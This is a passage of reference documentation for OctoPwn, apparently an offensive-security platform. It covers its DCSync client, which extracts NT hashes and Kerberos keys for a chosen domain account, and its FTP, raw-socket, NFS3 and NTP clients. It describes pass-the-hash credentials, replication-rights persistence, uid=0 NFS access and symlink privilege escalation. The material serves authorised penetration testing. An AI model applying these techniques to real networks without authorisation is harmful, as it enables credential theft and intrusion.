needed and a full SMB session is undesirable. --- ## Transport — what's actually on the wire This is the most important fact about this client and the one that's easiest to get wrong. The DCEDRSUAPI client **does not use SMB**. Despite the underlying `aiosmb`-based plumbing (and the historical `from_smbconnection` naming inside the library), no SMB session is established and **port 445 is not touched**. The transport is pure DCERPC over TCP/IP: | Step | Destination | Purpose | | ---- | ------------------------------------------------------------ | ------------------------------------------------------------------------- | | 1 | DC, **TCP/135** (Endpoint Mapper, `epmapper`) | Look up the dynamic port allocated to the DRSUAPI RPC interface on this DC. | | 2 | DC, **TCP/<dynamic port>** (typically in the 49xxx range) | DCERPC bind, authentication, and the `IDL_DRSGetNCChanges` calls that perform the actual replication. | Authentication is performed inside the DCERPC bind on the second connection, not via SMB. !!! info "Plan firewall scope accordingly" For this client to work, you need TCP reachability to the DC on **port 135** *and* on the DC's RPC dynamic port range (49152–65535 by default on modern Windows; legacy DCs may use 1024–5000). If only port 445 is reachable, this client will not work and the SMB-based DCSync path on the [SMB client](./smb.md) is the appropriate alternative. --- ## When to use this client vs. the SMB client's DCSync | Need | Use | | --------------------------------------------------------------------------------------------------- | ---------------------------------- | | Pull secrets for the entire domain, or a whole class of users (all admins, all service accounts). | [SMB client's DCSync](./smb.md) | | Pull secrets for **one specific account** with no other enumeration. | DCEDRSUAPI client (this page) | | Port 445 is firewalled but TCP/135 + RPC dynamic ports are reachable. | DCEDRSUAPI client | | Port 445 is reachable but TCP/135 / RPC dynamic ports are not. | SMB client's DCSync | | Need other DC operations alongside DCSync (SAMR enumeration, LSAT, registry hive dumping, etc.). | SMB client | --- ## Authentication The client supports the standard NTLM and Kerberos credential families, identical to the SMB and WMI clients. Authentication is negotiated as part of the DCERPC bind (`RPC_C_AUTHN_LEVEL_PKT_PRIVACY` is required by DRSUAPI and is set automatically). | `atype` | Underlying creds | Notes | | ---------- | ---------------- | ---------------------------------------------------------------------------------- | | `NTLM` | NTLM | Requires the targeted account to allow NTLM. | | `KERBEROS` | Kerberos | Standard Kerberos auth against the DC's `ldap/` or `host/` SPN. | ### NTLM credentials | Secret type | Description | Example | | ------------- | -------------------------------------------------------------------- | ---------------------- | | `password` | Cleartext password. | `username:Pa55w0rd!` | | `pwhex` | Hex-encoded UTF-16LE password (for non-ASCII passwords). | `username:70617373…` | | `nt` | NT hash (pass-the-hash). | `username:aad3b…` | | `rc4` | RC4 (synonym for NT for the NTLM exchange). | `username:aad3b…` | | `agentproxy` | Use a remote NTLM signer over the wsnet agent proxy. | n/a | | `sspiproxy` | Use the OS's SSPI session via the wsnet agent proxy (Windows agent). | n/a | ### Kerberos credentials | Secret type | Description | Example | | --------------- | ------------------------------------------------------------ | ------------------------------------ | | `password` | Cleartext password. | `username:Pa55w0rd!` | | `pwhex` | Hex-encoded UTF-16LE password. | `username:70617373…` | | `nt` / `rc4` | NT/RC4 hash. | `username:aad3b…` | | `aes128` | AES128 long-term key. | `username:<32-hex>` | | `aes256` | AES256 long-term key. | `username:<64-hex>` | | `keytab` | Kerberos keytab file in OctoPwn volatile storage. | `/browserfs/volatile/admin.keytab` | | `keytabb64` | Base64-encoded keytab inline. | `username:` | | `ccache` | MIT ccache file in OctoPwn volatile storage. | `/browserfs/volatile/krb5cc.ccache` | | `ccacheb64` | Base64-encoded ccache inline. | `username:` | | `kirbi` | `.kirbi` ticket file (Rubeus-style). | `/browserfs/volatile/admin.kirbi` | | `kirbib64` | Base64-encoded `.kirbi` inline. | `username:` | | `pfxb64` | Base64-encoded PFX (PKINIT certificate auth). | `username:` | | `agentproxy` | Remote KDC over the wsnet agent proxy. | n/a | | `sspiproxy` | OS SSPI session via wsnet agent proxy (Windows agent). | n/a | !!! note "Required privileges on the DC" DCSync requires the calling account to have the `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All` extended rights on the domain naming context. By default this is granted to Domain Admins, Enterprise Admins, and the Administrators group. Any non-privileged account with these rights explicitly granted via an ACL (a common misconfiguration / persistence technique) also works. --- ## Commands ### CONNECTION #### login Performs the connection sequence in full: 1. Builds the un-connected `SMBConnection` container that carries the credential and target metadata. 2. Opens the EPM connection on TCP/135 to the DC. 3. Asks EPM for the DRSUAPI service binding (returns a `ncacn_ip_tcp:[]` string). 4. Opens a fresh DCERPC connection to the dynamic RPC port and performs the bind with `RPC_C_AUTHN_LEVEL_PKT_PRIVACY` (mandatory for DRSUAPI). 5. Issues `DRSBind` to register a session with the DC. A successful `login` leaves the DCERPC connection open and ready for `dcsync` calls. #### logout Closes the DCERPC connection and resets session state. Safe to call when no connection is active. --- ### OPERATIONS #### dcsync Pulls the secrets for a single account from the DC and stores them as new credentials in OctoPwn's credential store. Internally this issues `DRSCrackNames` (to resolve the supplied identifier into a GUID) followed by `IDL_DRSGetNCChanges` to retrieve the account's replication attributes (`unicodePwd`, `dBCSPwd`, `ntPwdHistory`, `lmPwdHistory`, `supplementalCredentials`, `objectSid`, `pwdLastSet`, `userAccountControl`). ##### Parameters - **username**: Identifier for the target account. Several formats are accepted and auto-detected: - **sAMAccountName** (e.g. `Administrator`) — resolved against the DC's default domain. - **User Principal Name** (e.g. `administrator@corp.local`) — preferred when targeting a specific domain in a multi-domain forest. - **Distinguished Name** (e.g. `CN=Administrator,CN=Users,DC=corp,DC=local`) — recognised by the leading `CN=`. - **SID** (e.g. `S-1-5-21-...-500`) — recognised by the `S-1-5-` prefix. - **to_print** *(optional, bool, default `True`)*: Whether to print the recovered secrets to the console. When `False`, secrets are still added to the credential store and indexed under the session's `DCSYNC` results, but no console output is produced. ##### Output When `to_print` is `True` (the default), `dcsync` prints the formatted secret object to the console — including username, domain, SID, NT hash, LM hash (if present), and all Kerberos long-term keys (RC4, AES128, AES256). The same data is also: - **Stored as new credentials in the Credentials Window**, one credential per recovered key (NT hash, RC4 key, AES128 key, AES256 key), each tagged with `description='DCSYNC'`, `source='SMB-DCSYNC-'`, and the original `objectSid`. - **Indexed under the session's `DCSYNC` results** as the full secret JSON, so the data remains queryable from the Sessions tab even after the console is cleared. The empty-NT-hash sentinel (`31d6cfe0d16ae931b73c59d7e0c089c0`) is filtered out — accounts without a password set will produce Kerberos-key credentials only. --- ## Limitations - **Single-account only.** There is no built-in iteration. To pull multiple accounts, call `dcsync` once per identifier — or use the SMB client's DCSync for whole-realm or filtered-set workflows. - **Requires DC reachability on TCP/135 and the RPC dynamic port range.** If only port 445 is reachable, use the SMB client's DCSync instead. - **Requires `DS-Replication-Get-Changes(-All)` rights.** A non-privileged account without these rights will fail at the `IDL_DRSGetNCChanges` call regardless of how the rest of the auth went. - **Domain detection requires either a target realm or a domain on the credential.** If neither is set, `login` will fail with `Domain is not set neither on target nor on credential`. - **No incremental / range queries.** Each `dcsync` call pulls the full attribute set for the named account; there is no way to ask for "just the NT hash" or "just the AES256 key". --- # [Clients] FTP Source: https://docs.octopwn.com/plugins/clients/ftp.html # FTP Client The **FTP Client** speaks plain File Transfer Protocol (RFC 959) against FTP servers. It wraps [`asyncftp`](https://github.com/skelsec/asyncftp) and provides the standard set of FTP commands — connection management, navigation, file operations, server-side metadata queries — together with an escape hatch for sending arbitrary FTP control-channel commands. The client is intentionally minimal. There is no graphical file browser equivalent to the SSH or NFS3 clients; everything is done from the console (or the auto-generated Commands tab in the session window). Default port `21`. --- ## Authentication The client supports a single authentication protocol (`PLAIN`) with two credential variants. | `atype` | Secret type | Description | Example | | ------- | ----------- | ---------------------------------------------------------------------- | ------------------------ | | `PLAIN` | `password` | `USER` + `PASS` exchange with a username and password. | `username:Pa55w0rd!` | | `PLAIN` | `none` | Anonymous login — typically `USER anonymous` + an empty / dummy `PASS`. | n/a | There is no support for FTP over TLS (`FTPS` / explicit `AUTH TLS` / implicit FTPS on port 990), nor for any GSSAPI / Kerberos extensions. For SSH-tunnelled file transfer use the [SSH client](./ssh.md) and its SFTP support, which is a separate protocol. !!! warning "Credentials travel in cleartext" Plain FTP transmits the username, password, and all subsequent control- and data-channel traffic without encryption. Treat any FTP session as observable on the wire. --- ## Connection model A successful `login` opens a single TCP control connection to the server, performs the authentication exchange, prints the server banner, and leaves the session ready for command issuance. Data-bearing commands (`list`, `get`, `put`) negotiate a fresh **passive-mode** data connection per call. The server's session-level current working directory is held server-side; OctoPwn tracks it implicitly via the `cwd` / `cdup` / `pwd` commands. There is no client-side cache of directory entries. !!! note "Only passive mode is supported" The FTP client currently supports passive-mode (`PASV` / `EPSV`) data connections only. Active-mode (`PORT` / `EPRT`) data connections are not implemented, and the client cannot fall back to active mode if the server refuses passive. Servers configured to accept active mode only are not reachable. --- ## Command aliases The following short aliases map to their canonical command name. They are intended for users familiar with POSIX shell conventions. | Alias | Resolves to | | ------ | ----------- | | `cd` | `cwd` | | `ls` | `list` | | `rm` | `delete` | | `mv` | `rename` | --- ## Commands ### CONNECTION #### login Opens the control connection to the FTP server, performs the `USER` / `PASS` exchange against the bound credential, and prints the server banner. #### logout Sends `QUIT` to the server, closes the control connection, and resets the session state. Safe to call when no connection is active. --- ### NAVIGATION #### cwd Changes the server-side current working directory. Aliased as `cd`. ##### Parameters - **path**: Target directory (absolute or relative to the current directory). #### cdup Moves the server-side current working directory up one level (FTP `CDUP`). #### pwd Prints the server-side current working directory (FTP `PWD`). --- ### FILE OPERATIONS #### list Lists the contents of the current server-side directory using the FTP `LIST` command. The returned format is server-defined (typically a `ls -l`-style listing on UNIX servers, a different format on Windows IIS servers, etc.). Aliased as `ls`. #### get Downloads a file from the FTP server into OctoPwn's working directory. ##### Parameters - **remotepath**: Path of the file on the FTP server. - **localpath** *(optional)*: Destination path inside OctoPwn's working directory. If omitted, the file is saved under the same basename as the remote path. Both supplied and derived paths are jailed to the working directory; attempts to escape (`..`, absolute paths outside workdir) are rejected. #### put Uploads a local file to the FTP server using `STOR` (overwrites the remote file if it already exists). ##### Parameters - **localpath**: Source file inside OctoPwn's working directory (jailed — paths outside workdir are rejected). - **remotepath** *(optional)*: Destination path on the FTP server. If omitted, the file is uploaded under the local basename in the server's current working directory. #### rename Renames a file or directory on the server (FTP `RNFR` + `RNTO`). Aliased as `mv`. ##### Parameters - **oldpath**: Existing path on the server. - **newpath**: New path on the server. #### delete Deletes a file on the server (FTP `DELE`). Aliased as `rm`. For directories, use [`rmdir`](#rmdir). ##### Parameters - **path**: Path of the file to delete. #### mkdir Creates a directory on the server (FTP `MKD`). ##### Parameters - **path**: Path of the directory to create. #### rmdir Removes a directory on the server (FTP `RMD`). The directory must be empty. ##### Parameters - **path**: Path of the directory to remove. #### size Returns the size of a file in bytes via the `SIZE` extension command. Note that `SIZE` is an extension (RFC 3659) and is not supported by every server — check [`feat`](#feat) first if in doubt. ##### Parameters - **path**: Path of the file on the server. --- ### INFO #### feat Lists the FTP extensions advertised by the server via the `FEAT` command (e.g. `MLSD`, `MLST`, `SIZE`, `MDTM`, `UTF8`, `AUTH TLS`). Useful for confirming whether features such as `SIZE` or extended directory listings are available before relying on them. #### syst Returns the server's reported operating system identifier via the `SYST` command (e.g. `UNIX Type: L8`, `Windows_NT`). #### stat Returns a server-defined status string via the `STAT` command. Without arguments, this typically returns connection-wide information (server uptime, current user, transfer mode). #### rhelp Asks the server for help text via the `HELP` command. With no argument, the server returns its supported commands; with a command name, it returns help for that specific command. The local OctoPwn `help` command is unaffected. ##### Parameters - **command** *(optional)*: A specific FTP command name (e.g. `RETR`, `STOR`, `LIST`). --- ### RAW #### rawcmd Sends an arbitrary line on the control connection and returns the server's response. Intended for issuing FTP commands that do not have a dedicated wrapper (e.g. `MDTM`, `OPTS UTF8 ON`, vendor-specific extensions). The command line is sent verbatim — no quoting or escaping is applied. ##### Parameters - **command**: The raw FTP command line (e.g. `MDTM /pub/file.bin`, `OPTS UTF8 ON`, `SITE CHMOD 644 /pub/file.bin`). !!! warning "No correlation with data-channel commands" `rawcmd` only handles the control-channel exchange. Commands that require a data connection (`RETR`, `STOR`, `LIST`, `NLST`, `MLSD`) will start the transfer server-side but the data will not be read or written by `rawcmd` itself — use the dedicated wrappers (`get`, `put`, `list`) for those. --- ## Limitations - **Plain FTP only.** No FTPS (explicit `AUTH TLS` or implicit on port 990). Credentials and data travel in cleartext. - **No GSSAPI / Kerberos.** The only supported authentication is `USER` / `PASS` with a password or anonymous credential. - **Passive mode only.** Active-mode (`PORT` / `EPRT`) data connections are not implemented; servers that accept active mode only are not reachable. See the [Connection model](#connection-model) note above. - **No transfer resume.** `get` and `put` are single-pass; partial transfers cannot be restarted via `REST`. - **No transfer-mode switching exposed.** The library handles `TYPE` internally; there is no command to explicitly toggle between ASCII and binary mode. - **No SFTP.** SFTP is an SSH subsystem, not FTP. Use the [SSH client](./ssh.md) for SFTP transfers. - **No graphical file browser.** Browsing is done via `cwd` / `list`. The session window's Commands tab provides a visual launcher for individual commands but not a tree view. - **Server-defined `list` format.** The `LIST` output is whatever the server emits; there is no client-side parser exposed via the CLI. For machine-readable listings, prefer servers that support `MLSD` / `MLST` (advertised by `feat`) and use `rawcmd` to invoke them, or rely on the GUI's directory listings which use `MLSD` internally. --- # [Clients] NETCAT Source: https://docs.octopwn.com/plugins/clients/netcat.html # Netcat Client The **Netcat Client** is OctoPwn's "raw socket" interface — a way to open a single TCP socket to a target, send arbitrary bytes (text or hex), and watch whatever the other side sends back. Despite the name, **it is not a Netcat clone**: there are no listener modes, no port-forwards, no `-e` style command execution — just an explicit, scriptable line into a remote socket. What makes it useful inside OctoPwn rather than `nc` from a terminal is that it rides the same target / proxy plumbing as every other client. **Pivoting through OctoPwn's proxy system works out of the box**, so a Netcat session can speak to an internal host through any active SOCKS proxy registered in OctoPwn (e.g. one created by [`createsocksproxy`](./ssh.md#createsocksproxy) on the SSH client). --- ## When to reach for it - **Banner grabbing** that doesn't fit a dedicated scanner (custom service ports, weird protocols). - **Manual protocol probing / handshakes** — sending crafted bytes to test a service's behaviour. - **Quick port-open checks through a pivot** — `connect` succeeds or fails synchronously, so it doubles as a one-shot reachability test through OctoPwn's proxy chain. - **Replaying a captured exchange** — feed bytes via `sendhex` or a file via `sendfile`, observe responses. For anything heavier (mass scanning, fingerprinting, scripted protocol parsing) reach for the Scanners; this client is intentionally minimal. --- ## Authentication None. The Netcat session is bound to a target (and optionally a proxy) at session-creation time; there is no credential and no protocol-level auth handshake. Whoever can reach the target through OctoPwn can use the socket. --- ## Session model - One TCP socket per session. There is no listener mode — Netcat sessions are always **outbound** connects. - After `connect`, a background reader task starts and pumps every byte from the socket back to the OctoPwn console for as long as the connection is alive. - All "send" commands write to the same socket. There is no per-command target argument: target + proxy are picked when the Netcat client session is created (in the New Session dialog), not on each `send`. - `disconnect` (or any unhandled read error) cancels the reader and tears the socket down. --- ## Commands ### CONNECTION #### connect Opens the TCP socket to the target (through the configured proxy if any) and starts the background reader. After `connect` returns OK, anything the remote side sends will be printed to the console — decoded as text using the current `encoding` if `binprint` is off, or hex-dumped if `binprint` is on (or if decoding fails). Doubles as a synchronous reachability check: if the target/port is unreachable, `connect` returns an error immediately. #### disconnect Closes the socket and cancels the background reader. Safe to call repeatedly; also called automatically when the reader hits EOF or an exception. --- ### SEND All three send commands write to the same socket opened by `connect`. They differ only in **what bytes go on the wire**. #### send Encodes the supplied string using the current `encoding`, **appends the current `lineterm`**, and writes the result to the socket. This is the right command for text-oriented line-based protocols (HTTP request lines, SMTP, IMAP, IRC, …) where the server expects a terminator after each line. ##### Parameters - **data**: The string to send. Encoded with `encoding`; `lineterm` is appended automatically. #### sendhex Decodes the supplied hex string into raw bytes and writes them to the socket **as-is** — no terminator, no encoding, no transformation. The right command for binary protocols, replaying captured payloads, or sending exact byte sequences. ##### Parameters - **data**: Hex-encoded bytes (e.g. `48656c6c6f0d0a` for `Hello\r\n`). Whitespace inside the hex string is **not** stripped — pass it as one continuous run of hex digits. !!! warning "No line terminator on `sendhex`" Unlike `send`, `sendhex` does not append `lineterm`. If your target needs CRLF after the payload, encode it into the hex string yourself (`...0d0a`). #### sendfile Reads a file from OctoPwn's working directory and streams it to the socket in fixed-size blocks. Each block is written **raw** — no terminator, no encoding — so this works for both text and binary payloads. The path is jailed to the working directory; attempts to escape (`..`, absolute paths outside workdir) are rejected. ##### Parameters - **filepath**: Path to the local file inside OctoPwn's working directory (e.g. `/browserfs/volatile/payload.bin`). - **blocksize** *(optional, default `1024`)*: Number of bytes read and sent per write call. Larger values mean fewer syscalls; smaller values mean finer-grained progress through the file (useful when the remote side rate-limits or has small receive buffers). --- ### ENCODINGS Three stateful settings that change how subsequent traffic is encoded / decoded. **Each call without an argument prints the current value** without changing it — handy for verifying state. #### encoding Sets (or shows) the text codec used by `send` for outgoing data and by the background reader for incoming data when `binprint` is off. Defaults to `ascii`. ##### Parameters - **encoding** *(optional)*: A Python codec name (e.g. `ascii`, `utf-8`, `latin-1`, `utf-16-le`). Omit to print the current value. #### lineterm Sets (or shows) the line terminator appended by `send`. Defaults to `\r\n` (a real two-byte CR+LF). ##### Parameters - **lineterm** *(optional)*: The terminator string. Omit to print the current value. !!! warning "Escape sequences are NOT interpreted from the console" The console parser uses `shlex.split`, which doesn't expand backslash escapes. Typing `lineterm \r\n` from the console sets the terminator to the **literal four-character string `\r\n`**, not to CR+LF. The default value (`\r\n` set in code) is the real two-byte CR+LF; if you need to switch to LF-only or some other terminator, do it from a Python plugin / the IDE so you can pass actual byte values. #### binprint Toggles how incoming data is rendered. With `binprint` off (default) the reader tries to decode incoming bytes as text using the current `encoding`, falling back to a hex dump if decoding fails. With `binprint` on, the reader **always** hex-dumps incoming data — useful when speaking a binary protocol where occasional ASCII-looking bytes would otherwise be misrendered. ##### Parameters - **binprint** *(optional)*: `1` to enable, `0` to disable. Omit to print the current value. --- ## Pivoting through an OctoPwn proxy Because the Netcat client uses the same factory machinery as every other client, the proxy you select for the session at creation time is honoured by `connect`. Typical workflow: 1. Stand up a pivot (e.g. log in to an SSH session and run [`createsocksproxy`](./ssh.md#createsocksproxy)) — note the new proxy ID from the Proxy Window. 2. Create a new Netcat session against an internal target, **selecting that proxy** in the session settings. 3. `connect` — the TCP connect goes through the pivot rather than your operator workstation. The same applies to any OctoPwn proxy chain (multi-hop, mixed proxy types) — the Netcat client doesn't see the difference. --- ## Limitations & gotchas - **No listener mode.** Connections are always outbound. There's no `-l` equivalent — use one of the OctoPwn server modules if you need to receive a callback. - **No `-e` / command execution.** Sending bytes to a remote shell still requires the remote side to actually run a shell — Netcat won't bind one for you on either end. - **No port forwarding.** This client is purely a single TCP socket. For pivoting *out of* OctoPwn, use the proxy system (e.g. `createsocksproxy` on SSH) and select the proxy for whichever client / scanner needs to ride through it. - **No TLS.** The socket is plain TCP. For HTTPS-style targets you'll need a dedicated client outside Netcat — there is currently no generic TLS-wrapped raw-socket client in OctoPwn. - **No half-close / shutdown.** You can't `shutdown(SHUT_WR)` to signal end-of-input while keeping the read side open — only `disconnect` (full close) is exposed. - **`send` always appends `lineterm`.** If you need to emit a partial line or a payload without a terminator, use `sendhex` (or `sendfile`). - **Lineterm escape-sequence gotcha**: see the warning under [`lineterm`](#lineterm) above — `\r\n` typed from the console is taken literally. - **No reconnect on remote close.** When the server closes the socket the reader exits and the session disconnects; you'll need to `connect` again to reopen. --- # [Clients] NFS3 Source: https://docs.octopwn.com/plugins/clients/nfs3.html # NFS3 Client The **NFS3 Client** speaks NFS version 3 against UNIX-style file servers. It wraps [`anfs`](https://github.com/skelsec/anfs) and exposes both a CLI for scripted file operations and — as with the SSH client — a **graphical filesystem browser**, which is the default tab when the session opens. NFSv3's connection model differs significantly from SMB or SFTP, and its authentication model has practical limitations that are worth understanding before working with the client. The following sections cover both, then describe the GUI and the available CLI commands. --- ## NFSv3 protocol overview Unlike SMB (one TCP connection, name-the-share, browse) or SSH+SFTP (one connection, one subsystem), an NFSv3 conversation involves **three separate RPC programs** that are typically queried in sequence: | Step | RPC program | What it tells you | Default port | | ---- | ----------------- | -------------------------------------------------------------- | ----------------------- | | 1 | **portmap / rpcbind** (program 100000) | Which programs the server runs and on which ports. | TCP/UDP **111** | | 2 | **mountd** (program 100005) | Which directories (`exports`) you're allowed to mount, and gives you a per-mount **file handle** that's needed for everything else. | Dynamic (look it up via portmap) | | 3 | **nfs** (program 100003) | Actual filesystem operations (`READDIR`, `READ`, `LOOKUP`, etc.) using that file handle. | Usually TCP/UDP **2049** | So a typical session, in OctoPwn's terms, walks like this: 1. **Open the session** — pointing at the NFS server's portmapper port (default `111`). Connection settings let you set the target host and pick a proxy if you need to pivot. 2. **`login`** — connects to mountd via portmap and validates that the connection can be established. 3. **`mounts`** — asks mountd for the list of exported directories. **This is the equivalent of "list shares"** — without it you don't know what mountpoints are available. 4. **`mount `** — picks a specific export, gets the root file handle for it, and connects to the NFS service. The session prompt switches to `[]>`. 5. **Walk the filesystem** with `ls`, `cd`, `get`, `mkdir`, etc. The GUI mirrors the same flow under the hood: opening the **Files** tab triggers a `remoteMounts` to enumerate exports, and double-clicking one mounts it transparently. !!! tip "If `mounts` returns nothing" Either the server has zero exported directories visible to anonymous clients, or you can reach mountd but not the actual NFS port (firewall between them is common). Try [`services`](#services) — if portmapper says NFS is on `2049` but you can't actually mount anything, it's almost always a firewall in the middle. --- ## Authentication NFSv3's authentication is performed at the RPC layer using one of several **credential flavours** (`AUTH_NULL`, `AUTH_SYS`, `RPCSEC_GSS`, etc.) attached to every request. The OctoPwn NFS3 client supports two of these flavours, with a known limitation on the more capable of the two. | `atype` | What is sent on the wire | Server-side conditions for success | | ------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------- | | `NONE` | `AUTH_NULL` — empty credential, no identity claim. | The export permits anonymous access. | | `SYS` | An `AUTH_SYS` credential populated with `uid=0`, `gid=0`, no auxiliary GIDs, and machine name `"anfs"`. The credential metadata bound to the session (`uid`, `gid`, `gids`, `machinename`) is currently ignored. | The export permits root access (`no_root_squash`), or the server maps the presented uid to a local user. | !!! note "Credential metadata is not currently propagated" The `SYS` flavour does not yet honour the bound credential's `uid` / `gid` / `gids` / `machinename` fields and always presents `uid=0`. A corresponding `#TODO: multiple auth types, SYS should be having parameters` lives in `octopwn/common/connectionhelpers/factory.py:get_nfs_factory`. Until that work is completed, selecting `SYS` is equivalent to authenticating as the server's local `root` user. !!! note "RPCSEC_GSS (Kerberos) is not supported" The client does not implement `RPCSEC_GSS`, so exports configured with `sec=krb5`, `sec=krb5i`, or `sec=krb5p` cannot be accessed. ### Practical outcomes per export configuration - **`no_root_squash`** — `SYS` is treated as the server's local `root`. Full read/write access is typically available. - **`root_squash`** (the default on most distributions) — root is remapped to the anonymous user (usually `nobody`). World-readable files can be read; writes that require ownership will fail with `EACCES`. Accessing files owned by a specific local user requires presenting that user's uid, which is not currently supported. - **`all_squash`** — every request is mapped to the anonymous user regardless of the presented uid. - **`sec=krb5*`** — connections cannot be established. --- ## Privileged source ports are not supported Most NFS servers — Linux included, by default — accept client connections only from a **privileged source port** (`< 1024`). This is enforced via the `secure` export option, which is the default. OctoPwn does not currently bind to privileged source ports. The WASM/browser runtime has no socket-bind capability, and the Enterprise server runtime does not assume `CAP_NET_BIND_SERVICE` either. As a result, connecting to an export that enforces `secure` will fail. Common symptoms include: - The portmap query (`111`) succeeds, but `mounts` returns an error. - `mount ` returns an `mount3err_acces` / "permission denied" response even against an otherwise unrestricted export. - The server resets the TCP connection. There is no client-side workaround at this time. The only way to make such an export reachable is to disable the privileged-port requirement on the server side (the `insecure` export option in Linux's `/etc/exports`, applied with `exportfs -ra`). --- ## Session window (the GUI experience) | Tab | What it is | | ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Files** | **Default tab.** A full NFSv3 file browser — directory tree, multi-select, drag-and-drop upload, download (single or batch), in-browser view for text/PDF, right-click context menu. Mountpoint discovery happens transparently — you'll see exports as top-level entries on the left. | | **Commands** | Auto-generated visual command runner — every entry under `help_groups['COMMANDS']` shows up as a button with parameter inputs. | | **Jobs** | Live table of running operations with PIDs and per-row Stop buttons. | | **History** | Scrollable command history with screenshot-output for reporting. | | **Settings** | Editor for the session parameters (target, atype, timeout, port, …). | | **Debug** | Raw protobuf inspector — turns red when active, otherwise hidden. | | **Console** | Collapsible bottom drawer — same console as the CLI. | !!! tip "Use the file browser" The CLI commands below are great for scripting and quick checks, but for actually browsing, downloading, and uploading files the **Files** tab is much faster — it does the `mounts` / `mount` / `readdirplus` plumbing for you and supports drag-and-drop. --- ## CLI commands Six command groups, all callable from the console drawer or the Commands tab. ### CONNECTION #### login Connects to mountd through portmap and validates the connection. Required before any other command. #### logout Disconnects from the mount service. --- ### SERVICES #### services Dumps **portmapper's program registration table** — i.e. which RPC programs the server is offering and which ports they're listening on. Useful for confirming that NFS (`100003`) and mountd (`100005`) are actually exposed before you start poking at them, and for spotting non-standard ports (some hardened servers put NFS on a port other than 2049). This does **not** require `login` — it's a portmap-only query. ##### Parameters None. --- ### MOUNT #### mounts Asks mountd for the list of exported directories — the NFS equivalent of "list shares". Caches the result for `mountinfo`. **You almost always want to run this first** to know what to feed into `mount`. ##### Parameters None. #### mountinfo Prints the cached export details from the most recent `mounts` call (host restrictions, allowed clients per export, etc.). If `mounts` hasn't been run yet it'll prompt you to do so. ##### Parameters None. #### mount Picks a specific export, asks mountd for the root file handle, and opens an NFS connection to the file service. Switches the session into "browsing this mountpoint" mode (the prompt changes to `[]>`). Subsequent `ls` / `cd` / `get` / `mkdir` / etc. operate inside this mountpoint. ##### Parameters - **mountpoint**: The export path as returned by `mounts` (e.g. `/srv/share`, `/export/home`, `/mnt/data`). --- ### TRAVERSAL #### ls Lists the current directory. Output includes type, size, mtime, owner uid/gid, and (for symlinks) the resolved link target. Symlinks are auto-resolved during the underlying `readdirplus` call. ##### Parameters None. #### cd Changes into a subdirectory of the current directory. **Only entries that were present in the most recent listing can be cd'd into** — if a new directory has appeared on the server since the last `ls`, you need [`refreshcurrentdir`](#refreshcurrentdir) first. ##### Parameters - **dirname**: A directory name from the current `ls` listing. #### refreshcurrentdir Re-reads the current directory from the server, refreshing the cached file/directory tables. Run this if you've created files outside OctoPwn or if the server's contents have changed. ##### Parameters None. --- ### FILEOPS #### get Downloads a file from the current directory into OctoPwn's working directory under the same basename. The destination path is **jailed to the working directory** — a hostile NFS server returning entries with `..` in their names can't escape into your local filesystem. ##### Parameters - **filename**: A file name from the current `ls` listing. !!! info "No CLI upload command" There is no console command for uploading a local file. The available filesystem-mutating commands are `mkdir`, `rmdir`, `rm`, `touch`, and `symlink`. To upload file contents, use the **Files** tab in the GUI. #### mkdir Creates a new directory under the current directory. Auto-refreshes the listing afterwards. ##### Parameters - **dirname**: New directory name. #### rmdir Removes a directory from the current directory. Must be empty (NFSv3 RMDIR semantics). Auto-refreshes the listing afterwards. ##### Parameters - **dirname**: A directory name from the current `ls` listing. #### rm Removes a file from the current directory. Auto-refreshes the listing afterwards. ##### Parameters - **filename**: A file name from the current `ls` listing. #### touch Creates an empty regular file in the current directory (NFSv3 `CREATE` with `mode=GUARDED`). ##### Parameters - **filename**: New file name. #### symlink Creates a symbolic link in the current directory pointing at an arbitrary target. Symlink targets are stored as raw strings on the server side — they don't need to actually exist. **This is a frequent privilege-escalation primitive on poorly-configured NFS servers** (e.g. dropping a symlink that points outside the export to coerce a privileged client into following it). ##### Parameters - **filename**: The link target (the string the symlink resolves to when followed). - **linkname**: The name of the symlink to create in the current directory. #### readlink Reads the target of a symbolic link in the current directory. ##### Parameters - **filename**: A symlink name from the current `ls` listing. --- ### FILESYSTEM #### fsinfo Returns the underlying filesystem's NFSv3 `FSINFO` reply for the file's mount — read/write transfer size hints, max file size, time delta, supported attribute mask, etc. Useful when planning large-file transfers or diagnosing client/server transfer-size mismatches. ##### Parameters - **filename**: A file or directory name from the current `ls` listing. #### fsstat Returns the underlying filesystem's NFSv3 `FSSTAT` reply — total, free, and available bytes and files. Useful for confirming that there is enough space available before initiating large writes. ##### Parameters - **filename**: A file or directory name from the current `ls` listing. --- ## Limitations - **NFSv3 only.** NFSv4, NFSv4.1, and pNFS are not supported. NFSv4 does not expose `mountd` as a separate RPC program, so v4-only servers will not respond to the v3 mount calls used by this client. - **Authentication is limited to `AUTH_NULL` and `AUTH_SYS`.** `RPCSEC_GSS` (Kerberos) is not supported. The `AUTH_SYS` flavour does not currently honour the bound credential's `uid`, `gid`, `gids`, or `machinename` and always presents `uid=0` (see [Authentication](#authentication)). - **Privileged source ports are not supported.** Exports requiring source ports below 1024 (the default `secure` export option) cannot be reached. The only available workaround is to disable the requirement on the server side. - **No CLI upload.** `get` is available for downloads; uploads must be performed through the **Files** tab. - **`cd` is cache-bound.** Only entries present in the most recent directory listing can be navigated into. Use [`refreshcurrentdir`](#refreshcurrentdir) to reload the listing. - **`mountinfo` depends on `mounts`.** It reads from the cache populated by the most recent `mounts` invocation. - **One active mountpoint per session.** `mount` switches the active mountpoint; the CLI does not support multiple concurrent mountpoints in a single session. (The GUI works around this by opening short-lived connections per browsed directory.) - **Symlinks are resolved client-side during `ls`.** Listings of directories containing symlinks pointing at slow or unreachable targets may stall while individual `readlink` calls time out. - **`services` does not require `login`.** Because it only queries portmap, it can be used as a reachability probe before establishing a full NFS session. --- # [Clients] NTP Source: https://docs.octopwn.com/plugins/clients/ntp.html # NTP Client The **NTP Client** is OctoPwn's interactive console for talking to a Network Time Protocol server (default port `UDP/123`). It's a small client with two purposes — reading the server's authoritative time, and enumerating the peers it's exchanging time with — but both are useful enough on a real engagement that you'll find yourself reaching for it more often than you'd expect. The default port is `UDP/123` and **no credential is required** — NTP is unauthenticated by design, so the client uses the `NONE` authentication type. Add the NTP server as a target, create a session against it, and every command works immediately. !!! info "No credentials required" The NTP client uses `ATYPE: NONE`. Just point a session at any NTP server and run commands — there's no login step. --- ## Features - **Server-time query** — read 